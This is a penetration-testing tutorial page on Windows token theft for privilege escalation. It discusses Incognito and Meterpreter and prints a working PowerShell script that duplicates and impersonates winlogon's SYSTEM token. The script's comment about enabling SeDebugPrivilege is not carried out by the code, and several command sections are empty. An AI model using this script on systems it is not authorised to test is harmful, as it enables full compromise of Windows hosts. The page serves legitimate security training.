Windows Access Token Manipulation for Privilege Escalation
Every Windows process has an access token that defines its security context — user identity, group memberships, and privileges. With the right privileges, you can steal a token from a privileged process and impersonate it. This is the mechanism underlying all Potato attacks, but it can also be done manually or with tools like Incognito when you already have a moderate-privilege shell.
Prerequisites Check
You need at least one of these privileges to steal tokens:
SeDebugPrivilege— attach to any process and steal its tokenSeImpersonatePrivilege— impersonate a token after stealing it (covered in https://hackindex.io/platforms/windows/privilege-escalation/token-impersonation)SeAssignPrimaryTokenPrivilege— assign a token as the primary token of a process
SeDebugPrivilege is the most powerful — it allows attaching to LSASS and other SYSTEM processes.
Incognito — Token Listing and Impersonation
Incognito (originally standalone, now a Meterpreter extension) lists available tokens and impersonates them:
Via Meterpreter:
Warning
This may be restricted in exams such as OSCP. Meterpreter is restricted to one machine per exam. The standalone `incognito.exe` approach shown below needs no Meterpreter and stays allowed.
Standalone incognito.exe:
Download: https://github.com/FSecureLABS/incognito
Token Stealing via PowerShell
With SeDebugPrivilege enabled:
# Enable SeDebugPrivilege
$code = @@"
using System;
using System.Runtime.InteropServices;
public class TokenStealer {
[DllImport("advapi32.dll", SetLastError=true)]
public static extern bool OpenProcessToken(IntPtr ProcessHandle, uint DesiredAccess, out IntPtr TokenHandle);
[DllImport("advapi32.dll", SetLastError=true)]
public static extern bool DuplicateTokenEx(IntPtr hExistingToken, uint dwDesiredAccess,
IntPtr lpTokenAttributes, int ImpersonationLevel, int TokenType, out IntPtr phNewToken);
[DllImport("advapi32.dll", SetLastError=true)]
public static extern bool ImpersonateLoggedOnUser(IntPtr hToken);
[DllImport("kernel32.dll")]
public static extern IntPtr OpenProcess(uint processAccess, bool bInheritHandle, int processId);
}
"@@
Add-Type -TypeDefinition $code
# Find a SYSTEM process
$systemProc = Get-Process -Name "winlogon" | Select-Object -First 1
$procHandle = [TokenStealer]::OpenProcess(0x1F0FFF, $false, $systemProc.Id)
# Open its token
$tokenHandle = [IntPtr]::Zero
[TokenStealer]::OpenProcessToken($procHandle, 0x0002, [ref]$tokenHandle)
# Duplicate the token
$dupToken = [IntPtr]::Zero
[TokenStealer]::DuplicateTokenEx($tokenHandle, 0xF01FF, [IntPtr]::Zero, 2, 1, [ref]$dupToken)
# Impersonate
[TokenStealer]::ImpersonateLoggedOnUser($dupToken)
# Verify
[System.Security.Principal.WindowsIdentity]::GetCurrent().Name
Token Impersonation via Process Injection
If you have SeDebugPrivilege, migrate into a SYSTEM process:
Via Meterpreter:
Via CreateRemoteThread (manual):
Inject shellcode into a SYSTEM process to hijack its security context. This is complex — use Meterpreter migration or Incognito in practice.
Token Manipulation via RunAs with Stolen Credentials
If you have captured plaintext credentials for a privileged user through credential hunting:
Checking Available Tokens
Before attempting impersonation, enumerate what tokens are available in the current session:
Look for SYSTEM processes you can attach to. winlogon.exe, services.exe, and lsass.exe always run as SYSTEM.
Related
References
-
FSecureLABS Token listing and impersonation tool.
-
Microsoft Docs Token structure, impersonation levels, and privilege constants.
Was this helpful?
Your feedback helps improve this page.